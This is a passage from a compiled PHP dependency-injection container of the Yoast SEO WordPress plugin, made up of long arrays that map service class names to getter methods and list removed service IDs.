'getWPRobotsIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Front_End_Integration' => 'getFrontEndIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Primary_Category' => 'getPrimaryCategoryService', 'Yoast\\WP\\SEO\\Integrations\\Settings_Integration' => 'getSettingsIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Support_Integration' => 'getSupportIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP' => 'getAMPService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress' => 'getBbPressService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor' => 'getElementorService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types' => 'getExcludeElementorPostTypesService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types' => 'getExcludeWooCommercePostTypesService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack' => 'getJetpackService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache' => 'getW3TotalCacheService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML' => 'getWPMLService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification' => 'getWPMLWPSEONotificationService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories' => 'getWebStoriesService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit' => 'getWebStoriesPostEditService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish' => 'getWincherPublishService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce' => 'getWooCommerce2Service', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit' => 'getWooCommercePostEditService', 'Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks' => 'getWoocommercePermalinksService', 'Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration' => 'getUninstallIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher' => 'getAddonUpdateWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher' => 'getAutoUpdateWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher' => 'getIndexableAncestorWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher' => 'getIndexableAttachmentWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher' => 'getIndexableAuthorArchiveWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher' => 'getIndexableAuthorWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher' => 'getIndexableCategoryPermalinkWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher' => 'getIndexableDateArchiveWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher' => 'getIndexableHomeUrlWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher' => 'getIndexableHomePageWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher' => 'getIndexablePermalinkWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher' => 'getIndexablePostMetaWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher' => 'getIndexablePostTypeArchiveWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher' => 'getIndexablePostTypeChangeWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher' => 'getIndexablePostWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher' => 'getIndexableStaticHomePageWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher' => 'getIndexableSystemPageWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher' => 'getIndexableTaxonomyChangeWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher' => 'getIndexableTermWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher' => 'getOptionTitlesWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher' => 'getOptionWpseoWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher' => 'getPrimaryCategoryQuickEditWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher' => 'getPrimaryTermWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher' => 'getSearchEnginesDiscouragedWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher' => 'getWoocommerceBetaEditorWatcherService', 'Yoast\\WP\\SEO\\Integrations\\Woocommerce_Product_Category_Permalink_Integration' => 'getWoocommerceProductCategoryPermalinkIntegrationService', 'Yoast\\WP\\SEO\\Integrations\\XMLRPC' => 'getXMLRPCService', 'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Introductions_Seen_Repository' => 'getIntroductionsSeenRepositoryService', 'Yoast\\WP\\SEO\\Introductions\\Infrastructure\\Wistia_Embed_Permission_Repository' => 'getWistiaEmbedPermissionRepositoryService', 'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Integration' => 'getIntroductionsIntegrationService', 'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Introductions_Seen_Route' => 'getIntroductionsSeenRouteService', 'Yoast\\WP\\SEO\\Introductions\\User_Interface\\Wistia_Embed_Permission_Route' => 'getWistiaEmbedPermissionRouteService', 'Yoast\\WP\\SEO\\Llms_Txt\\Infrastructure\\Content\\Automatic_Post_Collection' => 'getAutomaticPostCollectionService', 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Available_Posts_Route' => 'getAvailablePostsRouteService', 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Cleanup_Llms_Txt_On_Deactivation' => 'getCleanupLlmsTxtOnDeactivationService', 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Enable_Llms_Txt_Option_Watcher' => 'getEnableLlmsTxtOptionWatcherService', 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\File_Failure_Llms_Txt_Notification_Integration' => 'getFileFailureLlmsTxtNotificationIntegrationService', 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Llms_Txt_Cron_Callback_Integration' => 'getLlmsTxtCronCallbackIntegrationService', 'Yoast\\WP\\SEO\\Llms_Txt\\User_Interface\\Schedule_Population_On_Activation_Integration' => 'getSchedulePopulationOnActivationIntegrationService', 'Yoast\\WP\\SEO\\Loader' => 'getLoaderService', 'Yoast\\WP\\SEO\\Loggers\\Logger' => 'getLoggerService', 'Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer' => 'getMetaTagsContextMemoizerService', 'Yoast\\WP\\SEO\\Memoizers\\Presentation_Memoizer' => 'getPresentationMemoizerService', 'Yoast\\WP\\SEO\\Plans\\User_Interface\\Plans_Page_Integration' => 'getPlansPageIntegrationService', 'Yoast\\WP\\SEO\\Plans\\User_Interface\\Upgrade_Sidebar_Menu_Integration' => 'getUpgradeSidebarMenuIntegrationService', 'Yoast\\WP\\SEO\\Presentations\\Abstract_Presentation' => 'getAbstractPresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Author_Archive_Presentation' => 'getIndexableAuthorArchivePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Date_Archive_Presentation' => 'getIndexableDateArchivePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Error_Page_Presentation' => 'getIndexableErrorPagePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Home_Page_Presentation' => 'getIndexableHomePagePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Archive_Presentation' => 'getIndexablePostTypeArchivePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Post_Type_Presentation' => 'getIndexablePostTypePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Presentation' => 'getIndexablePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Search_Result_Page_Presentation' => 'getIndexableSearchResultPagePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Home_Page_Presentation' => 'getIndexableStaticHomePagePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Static_Posts_Page_Presentation' => 'getIndexableStaticPostsPagePresentationService', 'Yoast\\WP\\SEO\\Presentations\\Indexable_Term_Archive_Presentation' => 'getIndexableTermArchivePresentationService', 'Yoast\\WP\\SEO\\Promotions\\Application\\Promotion_Manager' => 'getPromotionManagerService', 'Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository' => 'getIndexableCleanupRepositoryService', 'Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository' => 'getIndexableHierarchyRepositoryService', 'Yoast\\WP\\SEO\\Repositories\\Indexable_Repository' => 'getIndexableRepositoryService', 'Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository' => 'getPrimaryTermRepositoryService', 'Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository' => 'getSEOLinksRepositoryService', 'Yoast\\WP\\SEO\\Routes\\Alert_Dismissal_Route' => 'getAlertDismissalRouteService', 'Yoast\\WP\\SEO\\Routes\\First_Time_Configuration_Route' => 'getFirstTimeConfigurationRouteService', 'Yoast\\WP\\SEO\\Routes\\Importing_Route' => 'getImportingRouteService', 'Yoast\\WP\\SEO\\Routes\\Indexables_Head_Route' => 'getIndexablesHeadRouteService', 'Yoast\\WP\\SEO\\Routes\\Indexing_Route' => 'getIndexingRouteService', 'Yoast\\WP\\SEO\\Routes\\Integrations_Route' => 'getIntegrationsRouteService', 'Yoast\\WP\\SEO\\Routes\\Meta_Search_Route' => 'getMetaSearchRouteService', 'Yoast\\WP\\SEO\\Routes\\SEMrush_Route' => 'getSEMrushRouteService', 'Yoast\\WP\\SEO\\Routes\\Supported_Features_Route' => 'getSupportedFeaturesRouteService', 'Yoast\\WP\\SEO\\Routes\\Wincher_Route' => 'getWincherRouteService', 'Yoast\\WP\\SEO\\Routes\\Workouts_Route' => 'getWorkoutsRouteService', 'Yoast\\WP\\SEO\\Routes\\Yoast_Head_REST_Field' => 'getYoastHeadRESTFieldService', 'Yoast\\WP\\SEO\\Schema\\Application\\Configuration\\Schema_Configuration' => 'getSchemaConfigurationService', 'Yoast\\WP\\SEO\\Schema\\Infrastructure\\Disable_Schema_Integration' => 'getDisableSchemaIntegrationService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Aggregator_Conditional' => 'getSchemaAggregatorConditionalService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\Infrastructure\\Schema_Aggregator_Watcher' => 'getSchemaAggregatorWatcherService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Cache\\Indexables_Update_Listener_Integration' => 'getIndexablesUpdateListenerIntegrationService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Cache\\WooCommerce_Product_Type_Change_Listener_Integration' => 'getWooCommerceProductTypeChangeListenerIntegrationService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Cache_Cli_Command' => 'getSiteSchemaAggregatorCacheCliCommandService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Cli_Command' => 'getSiteSchemaAggregatorCliCommandService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Route' => 'getSiteSchemaAggregatorRouteService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Aggregator_Xml_Route' => 'getSiteSchemaAggregatorXmlRouteService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Response_Header_Integration' => 'getSiteSchemaResponseHeaderIntegrationService', 'Yoast\\WP\\SEO\\Schema_Aggregator\\User_Interface\\Site_Schema_Robots_Txt_Integration' => 'getSiteSchemaRobotsTxtIntegrationService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check' => 'getDefaultTaglineCheckService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Reports' => 'getDefaultTaglineReportsService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Runner' => 'getDefaultTaglineRunnerService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check' => 'getLinksTableCheckService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Reports' => 'getLinksTableReportsService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Runner' => 'getLinksTableRunnerService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\MyYoast_Api_Request_Factory' => 'getMyYoastApiRequestFactoryService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check' => 'getPageCommentsCheckService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Reports' => 'getPageCommentsReportsService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Runner' => 'getPageCommentsRunnerService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check' => 'getPostnamePermalinkCheckService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Reports' => 'getPostnamePermalinkReportsService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Runner' => 'getPostnamePermalinkRunnerService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder' => 'getReportBuilderService', 'Yoast\\WP\\SEO\\Services\\Health_Check\\Report_Builder_Factory' => 'getReportBuilderFactoryService', 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Replacevar_Service' => 'getAioseoReplacevarServiceService', 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Provider_Service' => 'getAioseoRobotsProviderServiceService', 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Robots_Transformer_Service' => 'getAioseoRobotsTransformerServiceService', 'Yoast\\WP\\SEO\\Services\\Importing\\Aioseo\\Aioseo_Social_Images_Provider_Service' => 'getAioseoSocialImagesProviderServiceService', 'Yoast\\WP\\SEO\\Services\\Importing\\Conflicting_Plugins_Service' => 'getConflictingPluginsServiceService', 'Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service' => 'getImportableDetectorServiceService', 'Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager' => 'getIndexableVersionManagerService', 'Yoast\\WP\\SEO\\Surfaces\\Classes_Surface' => 'getClassesSurfaceService', 'Yoast\\WP\\SEO\\Surfaces\\Helpers_Surface' => 'getHelpersSurfaceService', 'Yoast\\WP\\SEO\\Surfaces\\Meta_Surface' => 'getMetaSurfaceService', 'Yoast\\WP\\SEO\\Surfaces\\Open_Graph_Helpers_Surface' => 'getOpenGraphHelpersSurfaceService', 'Yoast\\WP\\SEO\\Surfaces\\Schema_Helpers_Surface' => 'getSchemaHelpersSurfaceService', 'Yoast\\WP\\SEO\\Surfaces\\Twitter_Helpers_Surface' => 'getTwitterHelpersSurfaceService', 'Yoast\\WP\\SEO\\Task_List\\Infrastructure\\Register_Post_Type_Tasks_Integration' => 'getRegisterPostTypeTasksIntegrationService', 'Yoast\\WP\\SEO\\Task_List\\User_Interface\\Tasks\\Complete_Task_Route' => 'getCompleteTaskRouteService', 'Yoast\\WP\\SEO\\Task_List\\User_Interface\\Tasks\\Get_Tasks_Route' => 'getGetTasksRouteService', 'Yoast\\WP\\SEO\\Tracking\\Infrastructure\\Tracking_On_Page_Load_Integration' => 'getTrackingOnPageLoadIntegrationService', 'Yoast\\WP\\SEO\\Tracking\\User_Interface\\Action_Tracking_Route' => 'getActionTrackingRouteService', 'Yoast\\WP\\SEO\\User_Meta\\Application\\Additional_Contactmethods_Collector' => 'getAdditionalContactmethodsCollectorService', 'Yoast\\WP\\SEO\\User_Meta\\Application\\Custom_Meta_Collector' => 'getCustomMetaCollectorService', 'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Additional_Contactmethods_Integration' => 'getAdditionalContactmethodsIntegrationService', 'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Cleanup_Integration' => 'getCleanupIntegration2Service', 'Yoast\\WP\\SEO\\User_Meta\\User_Interface\\Custom_Meta_Integration' => 'getCustomMetaIntegrationService', 'Yoast\\WP\\SEO\\User_Profiles_Additions\\User_Interface\\User_Profiles_Additions_Ui' => 'getUserProfilesAdditionsUiService', 'Yoast\\WP\\SEO\\Values\\Images' => 'getImagesService', 'Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions' => 'getIndexableBuilderVersionsService', 'Yoast\\WP\\SEO\\Values\\Open_Graph\\Images' => 'getImages2Service', 'Yoast\\WP\\SEO\\Values\\Twitter\\Images' => 'getImages3Service', 'Yoast\\WP\\SEO\\Wrappers\\WP_Query_Wrapper' => 'getWPQueryWrapperService', 'Yoast\\WP\\SEO\\Wrappers\\WP_Remote_Handler' => 'getWPRemoteHandlerService', 'Yoast\\WP\\SEO\\Wrappers\\WP_Rewrite_Wrapper' => 'getWPRewriteWrapperService', 'Yoast_Notification_Center' => 'getYoastNotificationCenterService', 'wpdb' => 'getWpdbService', ]; $this->aliases = []; } public function compile(): void { throw new LogicException('You cannot compile a dumped container that was already compiled.'); } public function isCompiled(): bool { return true; } public function getRemovedIds(): array { return [ 'Psr\\Container\\ContainerInterface' => true, 'YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => true, 'YoastSEO_Vendor\\YoastSEO_Vendor\\Symfony\\Component\\DependencyInjection\\ContainerInterface' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Application\\Code_Generator_Interface' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Application\\Code_Verifier_Handler' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Application\\Code_Verifier_Handler_Interface' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Application\\Token_Manager_Interface' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Domain\\Code_Verifier' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Domain\\Token' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Access_Token_User_Meta_Repository' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Access_Token_User_Meta_Repository_Interface' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Generator' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Verifier_User_Meta_Repository' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Code_Verifier_User_Meta_Repository_Interface' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Refresh_Token_User_Meta_Repository' => true, 'Yoast\\WP\\SEO\\AI_Authorization\\Infrastructure\\Refresh_Token_User_Meta_Repository_Interface' => true, 'Yoast\\WP\\SEO\\AI_Consent\\Application\\Consent_Handler_Interface' => true, 'Yoast\\WP\\SEO\\AI_Consent\\Domain\\Endpoint\\Endpoint_Interface' => true, 'Yoast\\WP\\SEO\\AI_Consent\\Infrastructure\\Endpoints\\Consent_Endpoint' => true, 'Yoast\\WP\\SEO\\AI_Free_Sparks\\Application\\Free_Sparks_Handler' => true, 'Yoast\\WP\\SEO\\AI_Free_Sparks\\Application\\Free_Sparks_Handler_Interface' => true, 'Yoast\\WP\\SEO\\AI_Free_Sparks\\Infrastructure\\Endpoints\\Free_Sparks_Endpoint' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Application\\Suggestions_Provider' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Domain\\Endpoint\\Endpoint_List' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Domain\\Suggestion' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Domain\\Suggestions_Bucket' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Domain\\URLs_Interface' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Infrastructure\\Endpoints\\Get_Suggestions_Endpoint' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Infrastructure\\Endpoints\\Get_Usage_Endpoint' => true, 'Yoast\\WP\\SEO\\AI_Generator\\Infrastructure\\WordPress_URLs' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Request_Handler_Interface' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Response_Parser' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Application\\Response_Parser_Interface' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Bad_Request_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Forbidden_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Internal_Server_Error_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Not_Found_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Payment_Required_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Request_Timeout_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Service_Unavailable_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Too_Many_Requests_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\Unauthorized_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Exceptions\\WP_Request_Exception' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Request' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Domain\\Response' => true, 'Yoast\\WP\\SEO\\AI_HTTP_Request\\Infrastructure\\API_Client_Interface' => true, 'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Bucket' => true, 'Yoast\\WP\\SEO\\Analytics\\Domain\\Missing_Indexable_Count' => true, 'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Bucket' => true, 'Yoast\\WP\\SEO\\Analytics\\Domain\\To_Be_Cleaned_Indexable_Count' => true, 'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Configuration\\Dashboard_Configuration' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Content_Types\\Content_Types_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Endpoints\\Endpoints_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Filter_Pairs\\Filter_Pairs_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Groups\\SEO_Score_Groups\\SEO_Score_Groups_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Search_Rankings\\Search_Ranking_Compare_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Search_Rankings\\Top_Page_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Search_Rankings\\Top_Query_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Tracking\\Setup_Steps_Tracking' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Traffic\\Organic_Sessions_Compare_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Application\\Traffic\\Organic_Sessions_Daily_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Analytics_4\\Failed_Request_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Analytics_4\\Invalid_Request_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Analytics_4\\Unexpected_Response_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Type' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Types_List' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Data_Provider\\Data_Container' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Endpoint\\Endpoint_List' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Filter_Pairs_Interface' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Product_Category_Filter_Pair' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Bad_Readability_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Good_Readability_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\No_Readability_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Ok_Readability_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Score' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Scores_List' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Result' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Results_Not_Found_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Search_Console\\Failed_Request_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Search_Console\\Unexpected_Response_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Search_Rankings\\Comparison_Search_Ranking_Data' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Search_Rankings\\Search_Ranking_Data' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Search_Rankings\\Top_Page_Data' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Taxonomies\\Taxonomy' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Time_Based_SEO_Metrics\\Repository_Not_Found_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Time_Based_Seo_Metrics\\Data_Source_Not_Available_Exception' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Traffic\\Comparison_Traffic_Data' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Traffic\\Daily_Traffic_Data' => true, 'Yoast\\WP\\SEO\\Dashboard\\Domain\\Traffic\\Traffic_Data' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Analytics_4\\Analytics_4_Parameters' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Analytics_4\\Site_Kit_Analytics_4_Adapter' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Analytics_4\\Site_Kit_Analytics_4_Api_Call' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Browser_Cache\\Browser_Cache_Configuration' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Permanently_Dismissed_Site_Kit_Configuration_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Permanently_Dismissed_Site_Kit_Configuration_Repository_Interface' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Site_Kit_Consent_Repository' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Configuration\\Site_Kit_Consent_Repository_Interface' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Connection\\Site_Kit_Is_Connected_Call' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Readability_Scores_Endpoint' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\SEO_Scores_Endpoint' => true, 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Setup_Steps_Tracking_Endpoint' => true, 